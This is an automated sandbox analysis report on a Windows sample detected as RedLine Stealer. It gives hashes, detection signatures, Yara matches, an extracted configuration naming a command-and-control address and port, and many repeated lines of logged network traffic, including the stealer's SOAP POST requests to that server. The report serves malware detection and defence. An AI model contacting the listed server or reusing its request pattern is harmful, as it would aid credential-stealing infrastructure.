Play interactive tour

Edit tour

Windows Analysis Report 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Overview

General Information

Sample Name:	7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
Analysis ID:	458960
MD5:	2e18a08987838bbc3c26ffdbbcec1e62
SHA1:	2dd67d0c7191ab3380bc4a1b9ca3a09c684a2291
SHA256:	7c3beb3d9b0a8e0bdc6344a24b3b527b96cb9c845aa6847d8ac9d192f68ff912
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

RedLine

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected RedLine Stealer

Uses known network protocols on non-standard ports

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe (PID: 968 cmdline: 'C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe' MD5: 2E18A08987838BBC3C26FFDBBCEC1E62)

7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe (PID: 992 cmdline: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe MD5: 2E18A08987838BBC3C26FFDBBCEC1E62)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["45.137.155.31:11556"], "Bot Id": "1"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.465623603.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe PID: 968	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe PID: 992	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Unpacked PEs

Source	Rule	Description	Author
1.2.7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.393a170.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.393a170.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
2.2.7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 1.2.7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.393a170.4.raw.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["45.137.155.31:11556"], "Bot Id": "1"}

Multi AV Scanner detection for submitted file

Show sources

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Virustotal: Detection: 38%			Perma Link
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	ReversingLabs: Detection: 67%

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: System.ServiceModel.pdbl6 source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468518828.000000000112E000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdbj source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468229225.00000000010A2000.00000004.00000020.sdmp
Source:	Binary string: jHC:\Windows\System.ServiceModel.pdb source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.466476163.0000000000CF8000.00000004.00000001.sdmp

Networking:

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725

Source: global traffic

TCP traffic: 192.168.2.3:49725 -> 45.137.155.31:11556

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetArguments"Host: 45.137.155.31:11556Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflate
